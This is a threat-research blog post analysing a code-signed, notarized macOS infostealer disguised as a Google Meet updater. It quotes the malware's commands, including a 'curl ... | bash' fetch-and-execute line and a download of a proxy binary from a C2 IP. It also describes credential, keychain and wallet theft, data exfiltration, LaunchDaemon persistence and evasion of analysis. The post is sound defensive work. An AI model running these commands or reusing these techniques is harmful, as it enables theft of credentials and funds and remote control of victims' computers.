Signed and stealing: uncovering new insights on Odyssey infostealer
Last week, security researchers at Moonlock published new findings on the latest version of Atomic Stealer (AMOS), highlighting significant updates — including the addition of a backdoor. Around the same time, Jamf Threat Labs independently analyzed samples that exhibit many of the same characteristics detailed in Moonlock’s research.

By Thijs Xhaflaire
Introduction
In this post, we’ll expand on those findings by sharing additional technical insights uncovered during our own investigation on recently uncovered samples that are likely to be Odyssey Stealer.
Security researchers focused on macOS are aware of the steady stream of infostealer variants discovered each week. Most of these samples are nearly identical, with only minor changes designed to bypass Apple’s built-in XProtect or evade traditional detection engines. Still, distinguishing between a recycled sample and a genuinely new variant is an important step in threat analysis.
While performing routine examination of samples collected from various malware rulesets, one stood out — a Mach-O binary with the SHA256 hash dec750b9d596b14aeab1ed6f6d6d370022443ceceb127e7d2468b903c2d9477a
. What caught our attention was that, according to VirusTotal metadata, the sample appeared to be code-signed by a valid Apple Developer ID.
After downloading and inspecting the binary, we confirmed that it was indeed both code-signed and notarized — a detail that raised immediate concern given its malicious nature. On macOS, code-signed and notarized applications are generally allowed to run without being blocked or flagged by built-in security controls like Gatekeeper or XProtect. This makes code signing and notarization an attractive option for threat actors looking to increase the chances of successful execution without raising immediate red flags.

Infostealer mimicking a Google Meet app updater
The sample was distributed via a disk image (DMG), a common delivery method for macOS infostealers. Interestingly, although the threat actor successfully obtained both code-signing and notarization for this binary — along with several others — they still relied on the classic right-click “Open” background image trick the user to launch the application. This is typically used to bypass Gatekeeper warnings for unsigned apps on macOS Sonoma and lower, making its use here surprising given the app’s valid signature and notarization. The application itself is named “Gmeet_updater.app,” though there’s little effort to align that branding with the user experience, suggesting a rushed or careless repackaging process.
After confirming that the Developer Team ID was used to distribute malicious payloads, Jamf Threat Labs reported it to Apple. Since then, the associated certificate appears to have been revoked.
Stage one: the dropper and stealer
Let’s take a closer look at how this Odyssey sample differs from the AMOS variants previously documented by Moonlock.
Upon execution of the sample, we observed a notable addition to its behavior. Alongside the known AppleScript dialog used to capture the user’s password, this variant also launches a SwiftUI-based application designed to resemble a “Technician Panel.” This native-looking interface adds a layer of legitimacy to the social engineering attempt, potentially increasing the chances of user interaction.

Demo of infostealer behavior
As the end user interacts with the Technician Panel, the SwiftUI application silently reaches out to a remote server at hxxps[:]//allteching.xyz/auto, retrieving an additional AppleScript payload using native Swift APIs. The script is saved to a temporary directory at /var/folders/6y/y6cc4s9x77lfp_0dc6crzl8r0000gn/T/CFNetworkDownload_lgg1qR.tmp
. Once downloaded, the app shells out to chmod
to make the script executable, then uses sh
to execute it.
This triggers the familiar AppleScript dialog seen in earlier infostealer variants, prompting the user for their macOS login password — but only if a hidden .pwd file hasn’t already been created during a previous run of the stealer. Unlike earlier versions where the script was bundled directly within the Mach-O binary, the AppleScript payload is now loaded dynamically at runtime.

Prompt for macOS password
A closer look at the AppleScript payload reveals that all function names are heavily obfuscated, making the script more difficult to read or detect at first glance.

Heavily obfuscated functions
Despite the obfuscation, the script’s functionality is largely consistent with previous infostealer payloads. Here’s a breakdown of its key behavior:
Initial setup and password acquisition:
- The script starts by creating temporary directories (e.g., /tmp//). It then attempts to acquire the user’s macOS password. If a previously stored password file (.pwd) isn’t found, it falls back to prompting the user with a fake “Application Helper” dialog. This prompt uses
dscl . authonly
to verify the password against the local directory.
Comprehensive data theft:
- Once access is established, the script moves on to collecting a wide range of sensitive data. This includes browser-related information like cookies, login credentials and autofill data from Safari, Chromium-based browsers (Chrome, Brave, Edge, Opera), and Firefox/Waterfox profiles. It also targets a broad set of desktop cryptocurrency wallets — including Electrum, Exodus, Atomic and Ledger Live — pulling data from typical
~/Library/Application Support/
locations. Additionally, it scans the user’s Desktop and Documents folders for personal files such as .txt, .pdf, .wallet and .key, attempts to access the login keychain database, extracts Apple Notes content, and collects system metadata using system_profiler.
Data exfiltration:
- All collected data is compressed into
/tmp/out.zip
and uploaded to a hardcoded endpoint athxxp[:]//45.146.130.131/log
.
Malicious application replacement:
- The script checks for the presence of the legitimate Ledger Live app at /Applications/Ledger Live.app. If found, it replaces it with an modified and unsigned version created by the attacker and downloaded from
hxxp[:]//45.146.130.131/otherassets/ledger.zip
.

Script replacing legitimate Ledger Live app
What's different about this stealer?
Compared to many of the infostealers that are constantly infecting users on macOS this particular sample embeds a stage two backdoor and configuration. It also modifies critical wallet applications if installed on the system.
System persistence:
- To ensure continued access, a LaunchDaemon is installed in
/Library/LaunchDaemons/
with a randomly generated name (e.g.,com.{random}.plist
). Its associated execution script is downloaded fromhxxp[:]//45.146.130.131/otherassets/plist
, allowing the backdoor component to persist across system reboots.
LaunchDaemon with randomly generated name
- It also stores key configuration details — including the command-and-control (C2) IP address, username, and assigned bot ID — in hidden files within the user’s home directory for future reference or additional runs of the stealer

Hidden files with stored information
Second stage: the persistent backdoor
Next, we’ll take a closer look at the second-stage payload — a separate AppleScript responsible for establishing persistence on the system and continuing the trend of obfuscation, with randomized function names and minimal comments to hinder analysis.

Second-stage payload for establishing persistence
This second-stage script functions as a persistent backdoor. Once executed, it registers with the C2 server and receives a unique identifier for the compromised host. From there, it enters a continuous loop, regularly polling the C2 for new instructions.
Persistent control and identification:
- It manages a unique identifier for the compromised system, stored in
~/.botid
. If this file is empty or missing, the script registers the system with the C2 server (viaf6072177340208237255
contactinghttp://45.146.130.131/v1/bot/joinsystem/
) and saves the received ID. This ensures consistent tracking. - It also checks for a
~/.uninstalled
flag, allowing the attacker to remotely disable the bot. This relates to the self-termination techniques we cover below.
Dynamic command execution:
- The core functionality resides in a continuous loop that polls the C2 server for commands using
f3852609148770194821
(contactinghttp://45.146.130.131/api/v1/bot/actions/[BOT_ID]
). repeat
command: If the C2 sends a "repeat" command, the script executescurl -s http://45.146.130.131/api/v1/bot/repeat/[USERNAME] | bash &
. This allows the attacker to deliver and execute arbitrary shell scripts directly onto the compromised system in the background, facilitating updates or new malicious tasks.doshell
command: For immediate arbitrary execution, a "doshell" command instructs the script to run a specific shell command provided directly by the C2.
Network tunneling:
enablesocks5
command: If this command is received, the script downloads a binary named "socks" fromhttp://45.146.130.131/otherassets/socks
to/tmp/socks
. It then makes this file executable (chmod +x /tmp/socks
) and runs it in the background (/tmp/socks > /dev/null 2>&1 & disown
). The binary is written in Golang, and it likely establishes a SOCKS5 proxy on the compromised machine, enabling the attacker to route their network traffic through the victim's system, potentially for anonymity or to access internal networks.

The enablesocks5 command
Self-termination:
- A built-in "uninstall" command received from the C2 (or triggered by failed C2 communication) causes the script to write a
"+"
to~/.uninstalled
(usingf5313137926743508521
) and then immediately exit (do shell script "exit 0"
).
This script showcases a surprisingly robust C2 communication framework, granting the attacker ongoing, flexible control over the infected host.
Thanks for the interest — you’re blocked
During analysis, it’s common to run the same sample multiple times — and early on, we were able to do just that. The payload includes basic system discovery, likely used to capture details like the device’s serial number or determine whether it’s running in a virtual machine. Initially, we had no issue triggering the malware repeatedly. However, after several executions, we noticed a shift: the malware stopped behaving as expected.
Upon closer inspection, it appears the malware uses a combination of system identifiers to fingerprint the environment. If it determines the system is likely being used for research — rather than by a real target — it silently blacklists the machine. Once blacklisted, the payload avoids running its full set of behaviors.
Instead, it simply installs persistence via a LaunchDaemon, using the following ProgramArgument
:
More signed and notarized samples in the wild
Jamf Threat Labs identified at least three distinct macOS infostealer samples that were successfully signed and notarized using the same Team ID (A2FTSWF4A2) and later distributed in the wild.


Conclusion
Having tracked numerous variants and iterations of infostealers over the past few years, it’s clear that its authors are actively evolving the malware. The recent updates — including those highlighted in Moonlock’s research — demonstrate a shift toward more advanced techniques, some of which mirror tactics previously observed in campaigns linked to DPRK threat actors. This progression suggests a deliberate effort to enhance both the stealth and effectiveness of the stealer.
It’s also a reminder that signed and notarized apps aren’t always safe — which is why it’s important to keep a close eye on what’s being allowed to run in your environment. While static detection provides a valuable first line of defense, pairing it with behavioral detections is increasingly important to catch the telltale signs of infostealer activity in real time.
In this case, although the application successfully passed notarization, Apple revoked the approval shortly after the malicious activity was discovered and reported by Jamf Threat Labs.
We strongly recommend customers to ensure that Threat Prevention and Advanced Threat Controls are enabled and set to blocking mode in Jamf Protect to stay protected against these latest infostealer variants.
Indicators of Compromise (IoCs)
Dive into Jamf Threat Labs research on our blog.